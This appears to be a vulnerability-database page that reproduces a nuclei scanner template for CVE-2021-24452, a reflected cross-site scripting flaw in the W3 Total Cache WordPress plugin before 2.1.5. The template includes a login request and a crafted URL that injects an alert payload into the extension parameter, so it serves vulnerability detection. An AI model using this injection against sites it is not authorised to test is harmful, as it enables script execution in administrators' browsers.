Lucene search
K

WordPress W3 Total Cache <2.1.5 - Cross-Site Scripting

🗓️ 08 Jul 2026 05:22:06Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 33 Views

WordPress W3 Total Cache plugin <2.1.5 is susceptible to cross-site scripting via the Extensions dashboard, allowing an attacker to run malicious JavaScript within the user's web browser, potentially leading to full site compromise

Related
Refs
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2021-24452
19 Jul 202114:32
circl
CNNVD
WordPress 跨站脚本漏洞
19 Jul 202100:00
cnnvd
CVE
CVE-2021-24452
19 Jul 202110:53
cve
Cvelist
CVE-2021-24452 W3 Total Cache < 2.1.5 - Reflected XSS in Extensions Page (JS Context)
19 Jul 202110:53
cvelist
EUVD
EUVD-2021-11364
7 Oct 202500:30
euvd
NVD
CVE-2021-24452
19 Jul 202111:15
nvd
OpenVAS
WordPress W3 Total Cache Plugin < 2.1.5 XSS Vulnerability
23 Jun 202200:00
openvas
OSV
CVE-2021-24452
19 Jul 202111:15
osv
Patchstack
WordPress W3 Total Cache plugin <= 2.1.4 - Reflected Cross-Site Scripting (XSS) vulnerability
28 Jun 202100:00
patchstack
Prion
Cross site scripting
19 Jul 202111:15
prion
Rows per page
id: CVE-2021-24452

info:
  name: WordPress W3 Total Cache <2.1.5 - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    WordPress W3 Total Cache plugin before 2.1.5 is susceptible to cross-site scripting via the extension parameter in the Extensions dashboard, when the setting 'Anonymously track usage to improve product quality' is enabled. The parameter is output in a JavaScript context without proper escaping. This can allow an attacker, who can convince an authenticated admin into clicking a link, to run malicious JavaScript within the user's web browser, which could lead to full site compromise.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
  remediation: Fixed in version 2.1.5.
  reference:
    - https://wpscan.com/vulnerability/3e855e09-056f-45b5-89a9-d644b7d8c9d0
    - https://wordpress.org/plugins/w3-total-cache/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24452
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24452
    cwe-id: CWE-79
    epss-score: 0.01996
    epss-percentile: 0.7832
    cpe: cpe:2.3:a:boldgrid:w3_total_cache:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: boldgrid
    product: w3_total_cache
    framework: wordpress
  tags: cve2021,cve,xss,wpscan,wordpress,wp-plugin,wp,w3-total-cache,auth,boldgrid,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=w3tc_extensions&extension='-alert(document.domain)-' HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code_2 == 200
          - contains(body_2, 'extensions/\'-alert(document.domain)-\'') && contains(body_2, 'w3-total-cache')
          - contains(header_2, "text/html")
        condition: and
# digest: 4a0a0047304502202f1ff6c0b7a2138b40f26f93e59c54390fe1e7a7863f4dc18af678fc1125a98e022100a7780cc8c371d085eb65273939a3ee21fd6d4c16873219f7fc244fd6f5d646b0:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
6.2Medium risk
Vulners AI Score6.2
CVSS 24.3
CVSS 3.16.1
EPSS0.01996
33